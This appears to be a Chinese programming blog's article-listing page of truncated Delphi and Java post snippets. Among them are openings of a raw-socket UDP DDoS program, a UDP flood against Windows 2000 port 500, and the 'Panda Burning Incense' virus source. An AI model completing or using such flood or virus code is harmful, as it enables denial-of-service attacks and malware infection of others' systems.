自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

  • 博客(51)
  • 收藏
  • 关注

原创 ListView

unit Unit1;interfaceuses  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,  Dialogs, StdCtrls, ComCtrls, ImgList,shellapi;type  TForm1 = class(TForm)    ListView1: TLis

2009-08-05 16:03:00 196

原创 数组写入读取文件

unit Unit1;interfaceuses  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,  Dialogs, StdCtrls;type  TForm1 = class(TForm)    Button1: TButton;    Button2: TButton;    p

2009-08-05 16:01:00 231

原创 提取图标

图标在可执行文件里面实际上是一项资源.Windows提供了一个API函数来取出EXE里面的图标.函数原型为:             HICON           ExtractIcon(HINSTANCE           hInst,LPCTSTR           lpszExeFileName,UINT           nIconIndex);          1.其中HINS

2009-08-05 16:01:00 330

原创 UDP DDoS

UDP DDoS{//实现原理//通过Windows2000的Winsock2.2函数库里setsockopt()的选项IP_HDRINCL实现自定义IP头}program UdpDOS;{$APPTYPE CONSOLE}uses windows;// IP 头typeT_IP_Header = recordip_verlen : Byte; //Versio ...{//实现原理//通过W

2009-08-05 15:59:00 423

原创 StringGrid

如何在StringGrid当前行第一列也像DBGrid样标出箭头呢? --------------------------------------------------------------- 你可以从TStringGrid派生一个子类,在子类中当发生进入单元格事件时,在该行第0列自己显示一个箭头。 ---------------------------------------------

2009-08-05 15:58:00 561

原创 DDOS

 前些日子,看见有文章说win2000服务器的500端口对flood攻击防御不是很好,我测试了一下,发现很有效果,对win2000服务器的udp500发送大量包的时候,win2000服务器的cpu率一下子达到了100%,而且反应立刻迟钝下来.程序如下:线程程序://线程的执行代码,创建线程请用菜单new一个TheadObjectuses winsock;procedure udpd

2009-08-05 15:57:00 146

原创 CS技巧之刀法

CS技巧之刀法《反恐精英》作为一款在全球范围内拥有极高人气的第一人称FPS游戏,相信熟悉该游戏(以下简称CS)的朋友对于各种主流枪械(B4系列,以AK,M4为主)的使用已经颇有经验和心得,但对于匕首的使用,CS初学者也好、甚至一些老鸟也罢,相信许多朋友并未进行过这方面的练习,只知道简单的左键轻划、右键重刺,更谈不上什么技巧了。  不可否认,白刃战是CS中最精彩的战斗场面之一。在本人看来,根据游

2009-08-05 15:56:00 1080

原创 ARP欺骗

如何禁用运行MAC地址欺骗或ARP欺骗 分类:网络知识2007.5.27 10:28 作者:hafet | 评论:0 | 阅读:5329 并非所有人到网吧上网,都是纯粹为了上网聊天、游戏,有很多人都以搞乱网吧为自豪,甚至有的为了盗取他人的帐号和密码,运行一些MAC地址欺骗软件或者其他一些严重危害网吧网络安全的软件,通过系统自带的“组策略编辑器”来限制在网吧中乱运行危害网吧安全的软件。 点击“开

2009-08-05 15:54:00 245

原创 程序只运行一次并激活原来的程序

我们的程序有时候只允许运行一次,并且最好的情况是,如果程序第二次运行,就激活原来的程序。网上有很多的方法实现程序只运行一次,但对于激活原来的窗口却都不怎么好。 关键就在于激活原来的程序,一般的做法是在工程开始时,打开互斥量对象,如果打不开表示程序还没有运行,创建一个互斥量对象;如果打得开表示程序已经运行了,查找程序中一个特定的窗口,一般是主窗口,然后发送一个自定义消息,主窗口在这个消息处理中激

2009-01-15 02:39:00 341

原创 最快的字符串替换函数(中文兼容)

其实还可以在FastReplace中先对FindStr进行判断,如果FindStr完全是中文的话,直接可以在FastReplace中用FastPos,这样可以提高速度。unit FReplace;interfaceTypeTFastPosProc = function(const aSourceString, aFindString : String;const aSourceLen, a

2009-01-15 02:38:00 179

原创 sql语句性能调整

sql语句性能调整的目标是:   去掉不必要的大表全表扫描 不必要的大表全表扫描会造成不必要的输入输出,而且还会拖垮整个数据库;   检查优化索引的使用 这对于提高查询速度来说非常重要   检查子查询 考虑sql子查询是否可以用简单连接的方式进行重新书写;   调整pctfree和pctused等存储参数优化插入、更新或者删除等操作;   考虑数据库的优化器;   考虑数据表的全表扫描和在多个cp

2009-01-15 02:37:00 164

原创 NetBIOS广播收发

NetBIOS网络协议对于很多读者来说可能比较陌生,但其实它是由IBM开发的一个很古老的协议,当年在LAN上也风光一时。说它老,其实也不过10年光景,IT业的发展实在是太快。由于NetBIOS不具备路由功能,也就是说它的数据包无法跨网段传输,因此在广域网、城域网大行其道的今天,它已退居配角。如果你有心的话,能够发现在Window9598的网络协议中仍然保留着NetBIOS,不过它已经改名叫NetB

2009-01-15 02:36:00 266

原创 视频广播和点播程序

视频广播和点播程序本文目录一:前言二:Mpeg1文件格式三:网络数据广播四:服务端程序编写五:客户端程序编写六:后记一:前言本文将介绍如何用Delphi编写视频广播(DVB)和点播(VOD)程序.内容将涉及网络数据广播和Mpeg1文件格式.希望通过本文大家可以知道流行的流媒体是怎么一回事.我们先来了解一下什么叫DVB和VOD.DVB就是视频广播,表现形式为服务端程序打开一个视频文件播放,同

2009-01-15 02:35:00 268

原创 UDP广播

       NetBIOS网络协议对于很多读者来说可能比较陌生,但其实它是由IBM开发的一个很古老的协议,当年在LAN上也风光一时。说它老,其实也不过10年光景,IT业的发展实在是太快。由于NetBIOS不具备路由功能,也就是说它的数据包无法跨网段传输,因此在广域网、城域网大行其道的今天,它已退居配角。如果你有心的话,能够发现在Window9598的网络协议中仍然保留着NetBIOS,不过它已经

2009-01-15 02:34:00 269

原创 windows XP系统内核文件分析(全)

windows XP系统内核文件分析(全)  这两天逛论坛, 无意中发现了这个帖子. 作者极尽所能的介绍了 Windows 系统文件的相关信息. 极有参考价值. 虽说, 这个不同于 nLite 的预先精简定制, 但是相信对于 nLite 精简效果不够满意的大有人在. 那么按照这个指南就能够令你的系统最优化.  当然, 精简系统是要付出代价的. 不要贪得无厌, 免得系统坏了修不好啊.  Wind

2009-01-15 02:33:00 467

原创 病毒内核

[分享]熊猫烧香 病毒内核功能实现 DELPHI  严重警告  !!!请不要在未读懂源代码的情况下编译运行本程序,否则后果自负!!!  program Japussy;  uses  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};  const  HeaderSize = 82432; 病毒体的大小  IconOffset

2009-01-15 02:32:00 292

原创 API 操作心得

varhDesktop: THandle;beginif stProgram[tmpint] = Dos thenShellExecute(0, open, cmd, nil, nil, SW_SHOWNORMAL);if stProgram[tmpint] = 我的电脑 thenShellExecute(0, open, explorer.exe, ::{20D04FE

2009-01-15 02:30:00 168

原创 pascal函册

名称 类型 说明 ----------------------------------------------------------------------------------Abort 函数 引起放弃的意外处理Abs 函数 绝对值函数AddExitProc 函数 将一过程添加到运行时库的结束过程表中Addr 函数 返回指定对象的地址AdjustLineBreaks 函数

2009-01-15 02:29:00 180

原创 sql技巧总结

一、提高查询效率先进行准备查询操作:CustomerQuery.Close;if not (CustomerQuery.Prepared) then -->查询是否已准备好CustomerQuery.Prepare; -->查询准备CustomerQuery.Open; -->执行查询二、要在运行期访问参数,有三种方式可以选择:(适合BDE控件中的TQuery)(1)ParamByName:

2009-01-15 02:28:00 177

原创 批量执行SQL

代码:unit DHibernateBatchSQL;interfaceuses   Classes, SysUtils, db, ADODB;type   TOnException = procedure(Sender: TObject; E: Exception) of object;   TOnFinishOne = procedure(Sender: TObject; Fi

2009-01-15 02:25:00 158

原创 线程排序

      在数据处理量很大的情况下,如何在数据处理的同时响应用户操作?Windows95/98和WindowsNT作为多线程的多任务操作系统,其调度单元是线程,即线程是系统分配处理器时间资源的基本单元,所以我们可以利用线程实现在处理大批量数据的同时响应用户操作。       DELPHI作为一个优秀的开发平台,对开发多线程应用程序提供了强有力的支持,即可直接利用32位Windows环境提供的Wi

2009-01-15 02:17:00 204

原创 如何自学Java

你既然学过C语言那就好学了啊,你有了语言的基础. 你先去买一本张孝祥的JAVA就业培训教程 然后到网上去下载JAVA虚拟机,就可以了, 其余的就要靠你自己去学习了啊! java入门教程《21天学通java2》第三版 《Java编程思想》(thinking in java)第三版 TOMCAT HOME是指安装tomcat的主目录,并非是说目录的名字就叫“TOMCAT HOME”。 JAVA编程

2008-08-02 05:04:00 178

原创 对象设计与程序设计

面向过程的程序设计:    编写一个方法,void drivecar(); 面向对象的程序设计:    将一辆汽车看成一个对象,将所有汽车对象的共性抽取出来,设计一个类Car,类中有一个方法void drive(),用Car这个类实例化一个具体的对象car,调用:car.drive()。n    从程序设计的角度看,类是面向对象程序中最基本的程序单元。类实质上定义的是一

2008-07-31 00:57:00 179

原创 模拟ATM

/**@version 1.0  @author Devil_Angel  该程序的功能为实现模拟银行ATM自动取款机提款,查询等功能.  */import java.io.*;该类为实现客户信息及部分功能class Account { private String code    =null;   信用卡号 private String name    =null;   客户姓名 pri

2008-07-23 02:16:00 209

原创 追MM与Java的23种设计模式

追MM与Java的23种设计模式1、FACTORY—追MM少不了请吃饭了,麦当劳的鸡翅和肯德基的鸡翅都是MM爱吃的东西,虽然口味有所不同,但不管你带MM去麦当劳或肯德基,只管向服务员说“来四个鸡翅”就行了。麦当劳和肯德基就是生产鸡翅的Factory   工厂模式:客户类和工厂类分开。消费者任何时候需要某种产品,只需向工厂请求即可。消费者无须修改就可以接纳新产品。缺点是当产品修改时,工厂类也要做

2008-07-23 02:15:00 121

原创 JAVA面试题解惑系列(四)final、finally和finalize的区别

JAVA面试题解惑系列(四)final、finally和finalize的区别final、finally和finalize的区别是什么? 这是一道再经典不过的面试题了,我们在各个公司的面试题中几乎都能看到它的身影。final、finally和finalize虽然长得像孪生三兄弟一样,但是它们的含义和用法却是大相径庭。这一次我们就一起来回顾一下这方面的知识。 我们首先来说说final。它

2008-07-23 02:14:00 157

原创 JAVA面试题解惑系列(二)——到底创建了几个String对象?

JAVA面试题解惑系列(二)到底创建了几个String对象? 我们首先来看一段代码: Java代码 String str=new String(abc);  紧接着这段代码之后的往往是这个问题,那就是这行代码究竟创建了几个String对象呢?相信大家对这道题并不陌生,答案也是众所周知的,2个。接下来我们就从这道题展开,一起回顾一下与创建String对象相关的一些JAVA知识。

2008-07-23 01:51:00 128

原创 JAVA面试题解惑系列(一)——类的初始化顺序

JAVA面试题解惑系列(一)——类的初始化顺序大家在去参加面试的时候,经常会遇到这样的考题:给你两个类的代码,它们之间是继承的关系,每个类里只有构造器方法和一些变量,构造器里可能还有一段代码对变量值进行了某种运算,另外还有一些将变量值输出到控制台的代码,然后让我们判断输出的结果。这实际上是在考查我们对于继承情况下类的初始化顺序的了解。 我们大家都知道,对于静态变量、静态初始化块、变量、初始化块、构

2008-07-23 01:39:00 110

原创 JAVA面试题解惑系列(六)字符串(String)杂谈

JAVA面试题解惑系列(六)—字符串(String)杂谈 上一次我们已经一起回顾了面试题中常考的到底创建了几个String对象的相关知识,这一次我们以几个常见面试题为引子,来回顾一下String对象相关的其它一些方面。 一、String类有length()方法吗?数组有length()方法吗? String类当然有length()方法了,看看String类的源码就知道了,这是这个方法的定义: Ja

2008-07-23 01:36:00 370

原创 JAVA面试题解惑系列(五)传了值还是传了引用?

JAVA面试题解惑系列(五)—传了值还是传了引用? JAVA中的传递都是值传递吗?有没有引用传递呢? 在回答这两个问题前,让我们首先来看一段代码: Java代码 public final class ParamTest {        初始值为0       protected int num = 0;          为方法参数重新赋值       public void change(in

2008-07-23 01:34:00 125

原创 学习完Java语法,如何继续走Java路?

  学习Java的第一步是安装好JDK,写一个Hello World,? 其实JDK的学习没有那么简单,关于JDK有两个问题是很容易一直困扰Java程序员的地方:一个是CLASSPATH的问题,其实从原理上来说,是要搞清楚JRE的ClassLoader是如何加载Class的;另一个问题是package和import问题,如何来寻找类的路径问题。把这两个问题摸索清楚了,就扫除了学

2008-07-20 18:11:00 199

原创 Java语法--异常总结

软件开发中一个古老的说法是:80%的工作使用20%的时间。80%是指检查和处理错误所付出的努力。在许多语言中,编写检查和处理错误的程序代码很乏味,并使应用程序代码变得冗长。原因之一就是它们的错误处理方式不是语言的一部分。尽管如此,错误检测和处理仍然是任何健壮应用程序最重要的组成部分。                                          

2008-07-20 18:09:00 127

原创 Java语法定义

说明Comments:编程人员加入的用于建立文档的说明,一般不能嵌套语句Statements:语句就是一行程序代码块Code blocks:组成为一个单元的一组语句。文件结构File structure:Java源文件的组件及其定义的顺序Java源文件只能在程序块外包含三种语句:package语句:定义文件中的类所属的包import语句:只通过雷鸣而不用完整的包名引

2008-07-20 18:08:00 180

原创 Java语法总结--数组

数组(array)是相同类型变量的集合,可以使用共同的名字引用它。数组可被定义为任何类型,可以是一维或多维。数组中的一个特别要素是通过下标来访问 它。数组提供了一种将有联系的信息分组的便利方法。注意:如果你熟悉C/C++,请注意, Java数组的工作原理与它们不同。1、数组不是集合,它只能保存同种类型的多个原始类型或者对象的引用。数组保存的仅仅是对象的引用,而不是对象本身。2、数组

2008-07-20 18:07:00 114

原创 Java语法总结--内部类

        从Java1.1开始引入了内部类以来,它就引起了人们的激烈争论。其实任何优秀的语言特性用得不好就是滥用,内部类用得不好就会导致代码像迷宫一样,导致出现毫无重用的综合征。         1、内部类分为成员内部类、静态嵌套类、方法内部类、匿名内部类。几种内部类的共性:         A、内部类仍然是一个独立的类,在编译之后会内部类会被编译成独立的.class

2008-07-20 18:06:00 142

原创 Java语法总结--线程

一提到线程好像是件很麻烦很复杂的事,事实上确实如此,涉及到线程的编程是很讲究技巧的。这就需要我们变换思维方式,了解线程机制的比较通用的技巧,写出高效的、不依赖于某个JVM实现的程序来。毕竟仅仅就Java而言,各个虚拟机的实现是不同的。学习线程时,最令我印象深刻的就是那种不确定性、没有保障性,各个线程的运行完全是以不可预料的方式和速度推进,有的一个程序运行了N次,其结果差异性很大。1

2008-07-20 18:05:00 128

原创 Java语法总结 - 基本数据类型

Java不是纯的面向对象的语言,不纯的地方就是这些基本数据类型不是对象。当然初期Java的运行速度很慢,基本数据类型能在一定程度上改善性能。如果你想编写纯的面向对象的程序,用包装器类是取代基本数据类型就可以了。1、基本类型的存储空间。byte--8位,short--16位,int--32位,long--64位,float--32位,double--64位。这六种数字类型都是有符号的

2008-07-20 18:03:00 233

原创 Java语法总结--字符串

Java的String太特别了,也太常用了,所以重要。我初学Java就被它搞蒙了,太多混淆的概念了,比如它的不变性。所以必须深入机制地去理解它。1、String中的每个字符都是一个16位的Unicode字符,用Unicode很容易表达丰富的国际化字符集,比如很好的中文支持。甚至Java的标识符都可以用汉字,但是没人会用吧(只在一本清华的《Java2实用教程》看过)。2、判断空字符串。根据需要自己选

2008-07-20 18:03:00 142

原创 JAVA语法基础

类,对象class 类类 对象=new 类()继承,接口(只允许方法的声明,不允许实现)继承是一种由已有的类继承创建新类的机制。子类继承父类的变量和方法,并根据需要增加新的状态和行为(关键字extends)接口与类属于同一层次,接口是一种特殊的抽象类。java不支持多继承性,即一个类只能有一个父类。一个接口中,所有方法为公开、抽象方法;所有的属性都是公开、静态、常量。(关键

2008-07-20 18:01:00 225

原创 1-10000两数相乘的所有吸血鬼数字

  public static void main(String[] args){  for(int x=1;x   for(int y = x; y      pd(x,y);      } }只修改main 的for就可以得到一下结果,运行时间有点长,应该稍微优化一下 配合我发送的

2008-07-20 02:06:00 166

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除